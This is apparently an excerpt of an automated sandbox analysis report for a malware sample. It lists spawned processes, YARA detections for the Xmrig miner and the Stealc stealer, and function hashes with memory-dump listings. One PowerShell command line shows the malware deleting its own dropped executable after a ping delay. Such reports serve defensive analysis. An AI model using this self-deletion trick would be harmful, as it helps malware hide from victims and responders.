Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:02:01
Start date:	16/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000002.3242450223.0000000000E18000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000002.3244488323.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000002.3244630924.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000002.3242450223.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:02:01
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	03:02:01
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	03:02:02
Start date:	16/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff60f490000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	03:02:04
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe"
Imagebase:	0x260000
File size:	1'777'664 bytes
MD5 hash:	80F61CB4BAB79B902454101D88AA7D93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002D.00000002.3342170968.0000000000261000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002D.00000002.3345216171.000000000115D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002D.00000002.3342170968.0000000000334000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002D.00000003.3273961695.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	03:02:10
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe"
Imagebase:	0x7ff6a5670000
File size:	1'818'624 bytes
MD5 hash:	92C6B7AA6070E9F99B8C4F896B577578
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	753
Total number of Limit Nodes:	24

Executed Functions

Function 0045652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0045652A,?,?,?,?,?,00457661), ref: 00456566

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a07ccd94b89fa8d544fa3ed597280bbf7e6fe4e90749aed7e186475db85906b9
Instruction ID: 9a603bab2ee9fb54ddb2c27998f515cbf3659b13f1af1b685430b97fb92e7649
Opcode Fuzzy Hash: a07ccd94b89fa8d544fa3ed597280bbf7e6fe4e90749aed7e186475db85906b9
Instruction Fuzzy Hash: DFE0863008310C7ACF257F19D8059497B6AEB5274EF411915FC0487227DB29ED45C64A

Function 04920341 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2149243196.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4920000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4bd9c50a2290c62de197d7a722ee8d33f4d0a14fd469893cbd203563076cd79
Instruction ID: 25aaae43b27b753428500827ad27433c6d6bd6c53642ba99cff9ad7257acc78a
Opcode Fuzzy Hash: a4bd9c50a2290c62de197d7a722ee8d33f4d0a14fd469893cbd203563076cd79
Instruction Fuzzy Hash: 7F118FA734C535BE624291822B54ABB6A2FF2D6730330CC36B647D560BF2D86A993171

Function 00425C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 004260C9
00000423, xrefs: 004260FA
0000043f, xrefs: 0042612B
00000419, xrefs: 00426098
Keyboard Layout\Preload, xrefs: 00426054

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 05bd0d79fa7a494da3a79d3a04545918506ba2952a5c5ee9df187a7ec6b5abc5
Instruction ID: 98cdba4bdc83565b03f15451d4b860b28a308e060fd066e6c0ded0be722ca021
Opcode Fuzzy Hash: 05bd0d79fa7a494da3a79d3a04545918506ba2952a5c5ee9df187a7ec6b5abc5
Instruction Fuzzy Hash: 6CF1E370A002589BEB24DF54CD85BDEBBB9EF45304F5041AEF508A72C1DB789A84CF99

Function 00429BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: f73b4ea1cc73a98911a06107547b963e17f1f7262a12f4f7fa0a40ece12b33c3
Instruction ID: 1e9fc8d39f4cbca97f9757ae2c17323cf53e47a8fe8cc6a7107c0dd43388027e
Opcode Fuzzy Hash: f73b4ea1cc73a98911a06107547b963e17f1f7262a12f4f7fa0a40ece12b33c3
Instruction Fuzzy Hash: 06315971B042008BFB08DF6CED8976DBB62ABC6314F60861AE414973D2C77D5991871A

Function 00429F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: e1c3f23941d7499e6eddb45edd7dc703973d4c2362479d050243e08b5ccf7064
Instruction ID: a3951a1873ab2df6bb00feb9b24a15253e5c8e26091e761fae2554ff1f26bfdc
Opcode Fuzzy Hash: e1c3f23941d7499e6eddb45edd7dc703973d4c2362479d050243e08b5ccf7064
Instruction Fuzzy Hash: 34315931B001008BFB089F7CEE897ADB762EB86318F608A1EE414D73D1CB7D5990831A

Function 0042A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
